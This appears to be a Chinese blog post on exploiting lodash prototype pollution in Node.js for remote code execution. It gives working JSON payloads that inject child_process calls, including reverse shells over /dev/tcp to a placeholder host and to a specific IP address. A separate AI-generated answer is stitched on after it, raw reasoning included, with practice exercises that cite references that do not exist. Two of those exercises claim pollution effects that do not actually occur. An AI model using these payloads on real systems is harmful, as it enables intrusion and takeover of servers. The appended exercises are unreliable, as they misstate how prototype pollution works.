[WEB/Nodejs]原型链污染中lodash的利用方法分析

lodash.template

显式的lodashs.merge存在原型链污染漏洞,为了对其进行利用,需要找到可以对原型进行修改的逻辑。

optionssourceURL

options是一个对象,sourceURL是通过下面的语句赋值的,options默认没有sourceURL属性,所以sourceURL默认也是为空。

var sourceURL = 'sourceURL' in options ? '//# sourceURL=' + options.sourceURL + '\n' : '';

给options的原型对象加一个sourceURL属性,那么我们就可以控制sourceURL的值。

Function

相关了解Function构造器(构造函数)

文档:构造函数EJS原型污染RCE分析

JS当中每个函数都是一个Fuction对象, (function(){}).constructor === Function

var person = { age:3 }
var myFunction = new Function("a", "return 1*a*this.age");
myFunction.apply(person,[2])
// return 1*a*this.age 即为functionBody,可以执行我们的代码。

sourceURL传递到了Function函数的第二个参数当中,此处可以

var result = attempt(function() {
    return Function(importsKeys, sourceURL + 'return ' + source)
      .apply(undefined, importsValues);
  });

通过构造chile_process.exec()就可以执行任意代码了

Payload

{"__proto__":
	{
        "query":"return global.process.mainModule.constructor._load('child_process').exec('bash -c \"bash -i >& /dev/tcp/xxx/4567 0>&1\"')"
    }
}
// bash -c “cmd string” 执行一个命令·		
// 以上PAYLOAD将输出输入反弹到指定的主机端口

以上Payload会产生一个报错,可以使用以下Payload来排除,

{"__proto__":{"sourceURL":"\nreturn e=> {for (var a in {}) {delete Object.prototype[a];} return global.process.mainModule.constructor._load('child_process').execSync('id')}\n//"}}

当然除了常见命令以外,还能构造反弹Shell,因为并不是所有的原型链污染都存在明确的回显,

{"__proto__":{"outputFunctionName":"_tmp1;global.process.mainModule.require('child_process').exec('bash -c \"bash -i >& /dev/tcp/121.36.96.230/2333 0>&1\"');var __tmp2"}}
<think>好的,用户想了解Node.js中的原型链污染练习题及解决方案。首先,我需要回顾原型链污染的基本概念,确保自己理解正确。原型链污染通常发生在JavaScript对象继承过程中,当攻击者能够控制对象的原型属性时,可能导致意外的属性覆盖或代码执行。 接下来,我需要设计几个典型的练习题。第一个例子可能是通过合并对象来修改原型,比如使用`Object.assign`或类似方法,如果未正确过滤参数,可能导致`__proto__`被修改。第二个例子可以利用模板引擎的漏洞,例如用户输入中包含恶意对象,影响模板的行为。第三个例子可以是修改全局对象的原型,比如污染`Object.prototype`,导致所有对象都受到影响。 然后,每个练习题需要给出具体的代码示例和解决方案。例如,在合并对象时,应该避免将用户输入直接合并到目标对象,或者使用`Object.create(null)`创建无原型的对象。对于模板引擎,应确保传入的数据是纯净的,不包含原型属性。全局污染的情况则需要检查是否有属性被添加到原型中,并在代码中进行防护。 还要考虑用户可能需要的相关引用。已有的引用[1]、[2]、[3]虽然主要关于事件循环、Promise和调试,可能不太相关,但或许可以在解决方案中提到调试方法时引用[3]。不过,可能用户提供的引用中没有直接关于原型链污染的内容,所以需要自行组织信息,确保解决方案准确。 最后,生成相关问题,帮助用户进一步学习,比如如何预防原型链污染、实际案例或相关工具。需要确保问题与主题紧密相关,并引导用户深入理解。</think>### Node.js原型链污染练习题及解决方案 --- #### **基础概念** 原型链污染是指通过修改对象原型链上的属性,影响所有继承该原型的对象[^1]。攻击者可能通过特殊构造的输入改变程序行为,常见于对象属性合并、模板渲染等场景。 --- ### **练习题1:对象合并污染** ```javascript function merge(target, source) { for (let key in source) { if (typeof target[key] === 'object' && typeof source[key] === 'object') { merge(target[key], source[key]); } else { target[key] = source[key]; } } } const userInput = JSON.parse('{"__proto__":{"isAdmin":true}}'); const config = { role: 'guest' }; merge(config, userInput); console.log({}.isAdmin); // 输出结果是什么?为什么? ``` **解决方案**: 1. **问题分析**:通过`__proto__`属性污染`Object.prototype`,导致所有对象继承`isAdmin: true`。 2. **修复方法**: ```javascript function safeMerge(target, source) { if (source.hasOwnProperty('__proto__')) return; // 过滤原型属性 // 其余代码同上 } ``` **或** 使用`Object.create(null)`创建无原型的对象。 --- ### **练习题2:模板引擎漏洞** ```javascript const templateEngine = (input) => { const template = `Welcome ${input.name}!`; return template; }; const maliciousInput = { name: 'Alice', __proto__: { toString: () => 'Hacked!' } }; console.log(templateEngine(maliciousInput)); // 输出结果如何被篡改? ``` **解决方案**: 1. **问题分析**:污染`Object.prototype.toString`方法,导致模板输出异常。 2. **修复方法**: ```javascript const sanitizedInput = JSON.parse(JSON.stringify(input)); // 深拷贝剥离原型链 const template = `Welcome ${sanitizedInput.name}!`; ``` --- ### **练习题3:全局污染检测** ```javascript function processData(data) { if (data.isValid) { // 业务逻辑 } } const payload = '{"__proto__":{"isValid":true}}'; const parsedData = JSON.parse(payload); processData(parsedData); console.log({}.isValid); // 输出结果?如何防御? ``` **解决方案**: 1. **问题分析**:通过污染`Object.prototype`,所有空对象都会继承`isValid: true`。 2. **修复方法**: - 使用`Object.hasOwnProperty`检查属性: ```javascript if (Object.hasOwnProperty.call(data, 'isValid')) { // 业务逻辑 } ``` - 使用`Object.freeze(Object.prototype)`禁止修改原型。 --- #### **防御原则** 1. **避免直接操作`__proto__`**:使用`Object.getPrototypeOf()`替代。 2. **深拷贝时过滤原型属性**:如使用`lodash.cloneDeepWith`定制拷贝逻辑。 3. **安全的数据处理**:对用户输入进行严格过滤和类型检查[^3]。 ---
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值